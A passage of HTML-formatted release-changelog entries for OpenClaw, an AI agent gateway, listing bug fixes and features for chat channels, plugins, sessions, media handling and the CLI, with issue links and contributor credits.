<li>Voice Call: add per-number inbound routing for dialed-number greetings, response agents/models/prompts, and TTS voice overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161590255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56604/hovercard" href="https://github.com/openclaw/openclaw/issues/56604">#56604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/healthstatus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/healthstatus">@healthstatus</a>.</li>
<li>Feishu: preserve Feishu/Lark HTTP error bodies for message sends, media sends, and chat member lookups, so HTTP 400 failures include vendor code, message, log id, and troubleshooter details. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346852455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73860" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73860/hovercard" href="https://github.com/openclaw/openclaw/issues/73860">#73860</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/desksk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/desksk">@desksk</a>.</li>
<li>Agents/transcripts: avoid reopening large Pi transcript files through the synchronous session manager for maintenance rewrites, persisted tool-result truncation, manual compaction boundary hardening, and queued compaction rotation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</li>
<li>Web search/Exa/MiniMax: accept Exa <code>webSearch.baseUrl</code> overrides with endpoint-partitioned caches, include MiniMax Search in setup, and let <code>MINIMAX_API_KEY</code> participate in MiniMax Search auto-detection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140768584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54928/hovercard" href="https://github.com/openclaw/openclaw/issues/54928">#54928</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140867375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54939" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54939/hovercard" href="https://github.com/openclaw/openclaw/pull/54939">#54939</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252993330" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65828" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65828/hovercard" href="https://github.com/openclaw/openclaw/pull/65828">#65828</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrpl327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrpl327">@mrpl327</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lyfuci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lyfuci">@lyfuci</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</li>
<li>Plugins/ClawHub: preserve official source-linked trust through archive installs, so OpenClaw can install trusted ClawHub plugin packages that trigger the built-in dangerous-pattern scanner. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/ClawHub: install package runtime dependencies for archive-backed plugin installs, so ClawHub packages such as WhatsApp load declared dependencies after download. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/tools: cache repeated plugin tool factory results only for matching request context, reducing per-turn tool prep without leaking sandbox, session, browser, delivery, or runtime config state. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367960262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75956/hovercard" href="https://github.com/openclaw/openclaw/issues/75956">#75956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</li>
<li>Providers/LM Studio: allow <code>models.providers.lmstudio.params.preload: false</code> to skip OpenClaw's native model-load call so LM Studio JIT loading, idle TTL, and auto-evict can own model lifecycle. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367728807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75921" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75921/hovercard" href="https://github.com/openclaw/openclaw/issues/75921">#75921</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garyd9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garyd9">@garyd9</a>.</li>
<li>Agents/transcripts: keep chat history, restart recovery, fork token checks, and stale-token compaction checks on bounded async transcript reads or cached async indexes instead of reparsing large session files. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</li>
<li>Telegram: inherit the process DNS result order for Bot API transport and downgrade recovered sticky IPv4 fallback promotions to debug logs, while keeping pinned-IP escalation warnings visible. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367563919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75904" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75904/hovercard" href="https://github.com/openclaw/openclaw/issues/75904">#75904</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/highfly-hi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/highfly-hi">@highfly-hi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Sessions: keep durable external conversation pointers, including group and thread-scoped chat sessions, out of age, count, and disk-budget maintenance eviction while still allowing synthetic runtime entries to age out. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175356638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58088/hovercard" href="https://github.com/openclaw/openclaw/issues/58088">#58088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drinkflav/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drinkflav">@drinkflav</a>.</li>
<li>Web search/Providers MiniMax: allow <code>MINIMAX_OAUTH_TOKEN</code> to satisfy MiniMax Search credentials and derive Coding Plan usage polling from the configured MiniMax base URL, so OAuth-authorized and global setups use the right endpoint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252008941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65768" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65768/hovercard" href="https://github.com/openclaw/openclaw/issues/65768">#65768</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246049228" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65054/hovercard" href="https://github.com/openclaw/openclaw/issues/65054">#65054</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kikibrian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kikibrian">@kikibrian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sixone74/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sixone74">@sixone74</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Yanhu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Yanhu007">@Yanhu007</a>.</li>
<li>Control UI/WebChat: skip assistant-media transcript supplements when stale media refs resolve to no playable media, so text-only final replies are not stored a second time as gateway-injected assistant messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347391100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73956/hovercard" href="https://github.com/openclaw/openclaw/issues/73956">#73956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>Sessions: reject <code>sessions_send</code> targets that resolve to thread-scoped chat sessions, so inter-agent coordination cannot be injected into active human-facing Slack or Discord threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117274546" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52496" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52496/hovercard" href="https://github.com/openclaw/openclaw/issues/52496">#52496</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barry-p5cc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barry-p5cc">@barry-p5cc</a>.</li>
<li>Subagents: honor <code>sessions_spawn</code> with <code>expectsCompletionMessage: false</code> by skipping parent completion handoff delivery while still running child cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367072418" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75848/hovercard" href="https://github.com/openclaw/openclaw/issues/75848">#75848</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</li>
<li>Media/completions: treat media-only message-tool sends as delivered async completion output, avoiding duplicate raw <code>MEDIA:</code> fallback posts after video or music generation finishes.</li>
<li>Gateway/logging: keep deferred channel startup logs on the subsystem logger, so Slack, Discord, Telegram, and voice-call startup messages keep timestamped prefixes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex/app-server: recover JSON-RPC frames split by raw command-output newlines and include a redacted preview when malformed app-server messages still reach the console. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Replies/typing: keep typing alive for queued follow-up messages that are genuinely waiting behind an active run, instead of making chat surfaces look idle while work is queued. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251046189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65685" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65685/hovercard" href="https://github.com/openclaw/openclaw/issues/65685">#65685</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/papag00se/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/papag00se">@papag00se</a>.</li>
<li>ACP/Discord: suppress completion announce delivery for inline thread-bound ACP session runs, so Discord thread-bound ACP replies are not delivered twice. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204352483" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60780" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60780/hovercard" href="https://github.com/openclaw/openclaw/issues/60780">#60780</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solavrc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solavrc">@solavrc</a>.</li>
<li>Discord/threads: ignore webhook-authored copies in already-bound Discord session threads even when the webhook id differs, preventing PluralKit proxy copies from creating duplicate turn pressure. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4114424047" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52005/hovercard" href="https://github.com/openclaw/openclaw/issues/52005">#52005</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/acgh213/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/acgh213">@acgh213</a>.</li>
<li>Discord/threads: return the created thread as partial success when the follow-up initial message fails, so agents do not retry thread creation and create empty duplicate threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4084295408" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48450" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48450/hovercard" href="https://github.com/openclaw/openclaw/issues/48450">#48450</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dahifi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dahifi">@dahifi</a>.</li>
<li>Discord/components: consume every button or select in a non-reusable component message after the first authorized click, so single-use panels cannot fire sibling callbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4132338088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54227/hovercard" href="https://github.com/openclaw/openclaw/issues/54227">#54227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fujiwarakasei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fujiwarakasei">@fujiwarakasei</a>.</li>
<li>macOS/config: preserve existing <code>gateway.auth</code> and unrelated config keys during app fallback writes, so dashboard or Talk settings changes cannot strand Control UI clients by dropping persisted auth. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364348126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75631" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75631/hovercard" href="https://github.com/openclaw/openclaw/issues/75631">#75631</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fuma2013/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fuma2013">@Fuma2013</a>.</li>
<li>Control UI/TUI: keep reconnecting chat sends bound to the same backing session id and let TUI relaunches resume the last selected session, avoiding silent fresh sessions after refresh, reconnect, or terminal restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4225359321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63195" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63195/hovercard" href="https://github.com/openclaw/openclaw/issues/63195">#63195</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4283461066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68162" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68162/hovercard" href="https://github.com/openclaw/openclaw/issues/68162">#68162</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342917722" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73546" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73546/hovercard" href="https://github.com/openclaw/openclaw/issues/73546">#73546</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bond260312-cmyk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bond260312-cmyk">@bond260312-cmyk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhong18804784882/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhong18804784882">@zhong18804784882</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mtuwei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mtuwei">@mtuwei</a>.</li>
<li>Plugins/tools: let plugin manifests declare static tool availability so reply startup skips unavailable plugin tool runtimes instead of importing factories that only return <code>null</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Discord/reactions: skip reaction listener registration when DMs and group DMs are disabled and every configured guild has <code>reactionNotifications: "off"</code>, avoiding needless reaction-event queue work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078796783" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47516/hovercard" href="https://github.com/openclaw/openclaw/issues/47516">#47516</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/x4v13r1120/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/x4v13r1120">@x4v13r1120</a>.</li>
<li>CLI sessions: preserve explicit manual-attach reuse bindings so trusted CLI sessions are not invalidated on the first turn when auth, prompt, or MCP fingerprints drift. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367072718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75849/hovercard" href="https://github.com/openclaw/openclaw/issues/75849">#75849</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</li>
<li>Telegram/streaming: keep partial preview streaming enabled for plain reply-to replies, disabling drafts only for real native quote excerpts that require Telegram quote parameters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342577179" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73505" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73505/hovercard" href="https://github.com/openclaw/openclaw/issues/73505">#73505</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choury">@choury</a>.</li>
<li>Config: log the "newer OpenClaw" version warning once per process instead of once per config snapshot read. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367749952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75927" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75927/hovercard" href="https://github.com/openclaw/openclaw/pull/75927">#75927</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Telegram/message actions: treat benign delete-message 400s as no-op warnings instead of runtime errors, so stale or already-removed messages do not create noisy delete failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345339727" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73726" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73726/hovercard" href="https://github.com/openclaw/openclaw/issues/73726">#73726</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Avicennasis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Avicennasis">@Avicennasis</a>.</li>
<li>Telegram: split long default markdown sends and media follow-up text into safe HTML chunks, so outbound messages over Telegram's limit no longer fail as one oversized Bot API request. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367257816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75868/hovercard" href="https://github.com/openclaw/openclaw/issues/75868">#75868</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhengsx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhengsx">@zhengsx</a>.</li>
<li>Gateway/chat history: merge Claude CLI transcript imports for Anthropic-routed sessions that still have a Claude CLI binding, so local chat history does not hide CLI JSONL turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367073060" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75850/hovercard" href="https://github.com/openclaw/openclaw/issues/75850">#75850</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</li>
<li>Media: trim serialized JSON suffixes after local <code>MEDIA:</code> directive file extensions, so generated-image metadata cannot pollute the parsed media path and cause false <code>ENOENT</code> delivery failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360047482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75182" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75182/hovercard" href="https://github.com/openclaw/openclaw/issues/75182">#75182</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TnzGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TnzGit">@TnzGit</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Plugins/runtime: hot-reload Gateway plugin runtime surfaces after plugin enable/disable changes while keeping source-changing plugin install, update, and uninstall operations restart-backed so loaded module code is not reused. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330564867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72097" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72097/hovercard" href="https://github.com/openclaw/openclaw/issues/72097">#72097</a>.</li>
<li>Cron: make scheduler reload schedule comparison tolerate malformed persisted jobs, so one bad cron entry no longer aborts the whole tick. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367497925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75886/hovercard" href="https://github.com/openclaw/openclaw/issues/75886">#75886</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samfox-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samfox-ai">@samfox-ai</a>.</li>
<li>Doctor/channels: warn after migrations when default Telegram or Discord accounts have no configured token and their env fallback (<code>TELEGRAM_BOT_TOKEN</code> or <code>DISCORD_BOT_TOKEN</code>) is unavailable, with secret-safe migration docs for checking state-dir <code>.env</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74298" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74298/hovercard" href="https://github.com/openclaw/openclaw/issues/74298">#74298</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a>.</li>
<li>Gateway/diagnostics: keep idle liveness samples in telemetry instead of visible warning logs unless diagnostic work is active, waiting, or queued. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/cron: reject provider-prefixed targets for the wrong channel and let prefixed announce targets such as <code>telegram:123</code> select their channel when delivery falls back to <code>last</code>, so Telegram IDs cannot be coerced into WhatsApp phone numbers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162988650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56839" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56839/hovercard" href="https://github.com/openclaw/openclaw/issues/56839">#56839</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bencoremans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bencoremans">@bencoremans</a>.</li>
<li>Control UI/chat: keep live replies visible when a raw session alias such as <code>main</code> sends the chat turn but Gateway emits events under the canonical session key for the same run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345216396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73716" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73716/hovercard" href="https://github.com/openclaw/openclaw/issues/73716">#73716</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teebes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teebes">@teebes</a>.</li>
<li>CLI/models: reject <code>--agent</code> on <code>openclaw models set</code> and <code>set-image</code> instead of silently writing agent-scoped requests to global model defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286636018" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68391/hovercard" href="https://github.com/openclaw/openclaw/issues/68391">#68391</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/derrickabellard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/derrickabellard">@derrickabellard</a>.</li>
<li>CLI: stop treating the legacy singular <code>openclaw tool ...</code> token as a plugin id under restrictive <code>plugins.allow</code>, so it falls through as a normal unknown/reserved command instead of suggesting a stale allowlist entry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243981916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64732" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64732/hovercard" href="https://github.com/openclaw/openclaw/issues/64732">#64732</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SweetSophia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SweetSophia">@SweetSophia</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hashtag1974/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hashtag1974">@hashtag1974</a>.</li>
<li>Media: write inbound media buffers through same-directory temp files before rename, so failed disk writes do not leave zero-byte artifacts for later voice transcription. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154946745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55966" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55966/hovercard" href="https://github.com/openclaw/openclaw/issues/55966">#55966</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OpenCodeEngineer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OpenCodeEngineer">@OpenCodeEngineer</a>.</li>
